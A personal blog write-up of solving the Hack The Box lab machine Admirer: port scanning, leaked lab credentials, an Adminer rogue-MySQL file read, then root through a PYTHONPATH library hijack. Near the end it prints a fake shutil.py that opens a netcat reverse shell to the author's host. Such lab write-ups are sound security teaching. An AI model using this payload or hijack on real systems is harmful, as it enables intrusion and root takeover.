Posts HackTheBox: Admirer write-up
Post
Cancel

HackTheBox: Admirer write-up

Hack The Box: Magic machine write-up

This was one of the most interesting machines I’ve solved in Hack The Box, learned some cool techniques. It taught me how recon never ends, despite having found many things there is always stuff to discover and bruteforce. On top of that, I learned that Python has a PYTHONPATH variable, used to load libraries! This, of course, can be hijacked, which is what we are going to do in the box.

Let’s dig in! The IP of the machine is 10.10.10.187.

Enumeration

I start by enumerating open ports to discover the services running in the machine. I fire up nmap:

Result of nmap scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# Nmap 7.70 scan initiated Mon May 25 19:17:36 2020 as: nmap -p- -sV -sC -oA nmap/all 10.10.10.187
Nmap scan report for 10.10.10.187 (10.10.10.187)
Host is up (0.075s latency).
Not shown: 65532 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey:
|   2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
|   256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
|_  256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/admin-dir
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Admirer
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon May 25 19:35:29 2020 -- 1 IP address (1 host up) scanned in 1072.95 seconds

Interesting, we have FTP, a web server and SSH! I first tried to see if anonymous login was allowed in the FTP server but no luck, so decided to dive into the web application.

Port 80 enumeration

We can see that this is some sort of photography website:

Initial webpage

Img

Now, one interesting thing my nmap scan caught was robots.txt. I visited it and found two interesting things: a username (waldo) and a directory (admin-dir).

Robots.txt information

Img

Now the message was pretty explicit so I manually tried to get the files myself without bruteforcing and to my surprise managed to get them in the first few tries: credentials.txt and contacts.txt.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
root@kali:~/Desktop/Admirer# curl http://admirer.htb/admin-dir/credentials.txt
[Internal mail account]
w.cooper@admirer.htb
fgJr6q#S\W:$P

[FTP account]
ftpuser
%n?4Wz}R$tTF7

[Wordpress account]
admin
w0rdpr3ss01!
root@kali:~/Desktop/Admirer# curl http://admirer.htb/admin-dir/contacts.txt
##########
# admins #
##########
# Penny
Email: p.wise@admirer.htb


##############
# developers #
##############
# Rajesh
Email: r.nayyar@admirer.htb

# Amy
Email: a.bialik@admirer.htb

# Leonard
Email: l.galecki@admirer.htb



#############
# designers #
#############
# Howard
Email: h.helberg@admirer.htb

# Bernadette
Email: b.rauch@admirer.htb

Looks like we have credentials for the FTP service: ftpuser:%n?4Wz}R$tTF7.

Port 21 enumeration

I logged in using the credentials found to find two files, both of which I downloaded to inspect locally.

FTP connection

Img

  • dump.sql didn’t contain useful information, as it was only a text file with the schema of a database.
  • html.tar.gz contained the following files:

Files contained in tar file

Img

I started to inspect files in /w4ld0s_s3cr3t_d1r and found that credentials had an extra set: [Bank Account]. However, I couldn’t find any way to use them.

New credentials found

Img

Then I moved on to /utility-scripts and found different scripts, out of which db_admin.php was the most interesting:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
  $servername = "localhost";
  $username = "waldo";
  $password = "Wh3r3_1s_w4ld0?";

  // Create connection
  $conn = new mysqli($servername, $username, $password);

  // Check connection
  if ($conn->connect_error) {
      die("Connection failed: " . $conn->connect_error);
  }
  echo "Connected successfully";


  // TODO: Finish implementing this or find a better open source alternative
?>

There was another one called info.php which called phpinfo():

Discovering new files

Img

However, the credentials weren’t useful. I then looked at index.php and found, once again, more credentials. But guess what? I wouldn’t be able to use them anywhere.

1
2
3
4
$servername = "localhost";
$username = "waldo";
$password = "]F7jLHw:*G>UPrTo}~A"d6b";
$dbname = "admirerdb";

I was out of ideas.

Back to port 80

With this new information I figured that I was missing some kind of information, so I started to bruteforce files again. I tried with all the new directories from the files that I had got from the FTP service and eventually got something!

Discovering new files

Img

Adminer instance on /utility-scripts/adminer.php

Img

Ironically none of the credentials worked, I tried many combinations but not a single one gave me access. A bit lost again I decided to look for exploits given the version of Adminer. I stumbled upon this article: https://medium.com/bugbountywriteup/adminer-script-results-to-pwning-server-private-bug-bounty-program-fe6d8a43fe6f.

Then, after a bit more of googling I found that there is a serious flag in Adminer via which an attacker can connect to their local SQL server and request local files! Here is the article.

Gaining user

The strategy was simple: set up a local SQL server, then request files until we get some sort of credentials.

Setting up the SQL server

I first started the service and set up a database called test.

Setting up the database

Img

Then I had to open up the database to allow remote connections. I used this article as a guide. This was done by modifying /etc/mysql/mariadb.conf.d/50-server.cnf:

1
bind-address = 0.0.0.0

Then restart the server and we could get connections!

Connecting to my local database

Img

Hmmmm, I kept on reading the article and realised I hadn’t granted permissions!

Granting permissions (part 1)

Img

Weirdly enough, I didn’t get in. However, the error message was different.

Different error on second attempt

Img

Then I granted permissions to the normal root user and was in!

Granting permissions (part 2)

Img

Exploit successful

Img

Reading local files

I started to read local files with /etc/passwd but there appeared to be some sort of restriction to read files from absolute paths.

Reading files restriction

Img

So I figured that I could try to read index.php. My reasoning was the following: as this was the database of the website and in the index.php from the FTP server I had found some credentials, then if I could get the actual index.php I could get the valid credentials for the database. Eventually using ../index.php worked.

Executing SQL commands

Img

Reading the source code

Img

Getting new credentials

Img

Now with this new set of credentials I was able to access the local database and started looking around. However, I couldn’t find anything juicy. Then it dawned on me that these credentials could actually be the username and password for the SSH! I tried and was in.

Using the database credentials for SSH

Img

Privilege escalation

As always, I started running sudo -l to see if I could run something as root being waldo.

Sudoers file

Img

Turns out I do so I quickly went and checked out /opt/scripts/admin_tasks.sh:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
#!/bin/bash

view_uptime()
{
    /usr/bin/uptime -p
}

view_users()
{
    /usr/bin/w
}

view_crontab()
{
    /usr/bin/crontab -l
}

backup_passwd()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Backing up /etc/passwd to /var/backups/passwd.bak..."
        /bin/cp /etc/passwd /var/backups/passwd.bak
        /bin/chown root:root /var/backups/passwd.bak
        /bin/chmod 600 /var/backups/passwd.bak
        echo "Done."
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}

backup_shadow()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Backing up /etc/shadow to /var/backups/shadow.bak..."
        /bin/cp /etc/shadow /var/backups/shadow.bak
        /bin/chown root:shadow /var/backups/shadow.bak
        /bin/chmod 600 /var/backups/shadow.bak
        echo "Done."
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}

backup_web()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Running backup script in the background, it might take a while..."
        /opt/scripts/backup.py &
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}

backup_db()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Running mysqldump in the background, it may take a while..."
        #/usr/bin/mysqldump -u root admirerdb > /srv/ftp/dump.sql &
        /usr/bin/mysqldump -u root admirerdb > /var/backups/dump.sql &
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}



# Non-interactive way, to be used by the web interface
if [ $# -eq 1 ]
then
    option=$1
    case $option in
        1) view_uptime ;;
        2) view_users ;;
        3) view_crontab ;;
        4) backup_passwd ;;
        5) backup_shadow ;;
        6) backup_web ;;
        7) backup_db ;;

        *) echo "Unknown option." >&2
    esac

    exit 0
fi


# Interactive way, to be called from the command line
options=("View system uptime"
         "View logged in users"
         "View crontab"
         "Backup passwd file"
         "Backup shadow file"
         "Backup web data"
         "Backup DB"
         "Quit")

echo
echo "[[[ System Administration Menu ]]]"
PS3="Choose an option: "
COLUMNS=11
select opt in "${options[@]}"; do
    case $REPLY in
        1) view_uptime ; break ;;
        2) view_users ; break ;;
        3) view_crontab ; break ;;
        4) backup_passwd ; break ;;
        5) backup_shadow ; break ;;
        6) backup_web ; break ;;
        7) backup_db ; break ;;
        8) echo "Bye!" ; break ;;

        *) echo "Unknown option." >&2
    esac
done

exit 0

I thought about using a path hijacking with echo, as it was the only command that wasn’t using an absolute path, but then realised it could actually never work because of the fact that when running as sudo the path will be changed.

I kept reading and found the following line: /opt/scripts/backup.py &. It seemed interesting, as in the past I’ve had privilege escalations with Python import libraries hijackings.

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/python3

from shutil import make_archive

src = '/var/www/html/'

# old ftp directory, not used anymore
#dst = '/srv/ftp/html'

dst = '/var/backups/html'

make_archive(dst, 'gztar', src)

Now, it took me a bit to put everything together and see how it fit. Turns out that the SETENV directive expects us to pass some variable to the program being run as sudo so we can actually pass a PYTHONPATH variable pointing to a directory where we have a malicious shutil.py with a function called make_archieve.

1
2
3
waldo@admirer:/tmp$ cat shutil.py
def make_archive(a,b,c):
	__import__('os').system('nc -e /bin/sh 10.10.15.101 1234')

Then we run sudo PYTHONPATH=/tmp /opt/scripts/admin_tasks.sh and we get root.

Root command execution

Img

This is everything, I hope you enjoyed the writeup and learned something new! If you liked it you can give me respect on Hack The Box through the following link: https://www.hackthebox.eu/home/users/profile/31531. Until next time!


Diego Bernal Adelantado

This post is licensed under CC BY 4.0 by the author.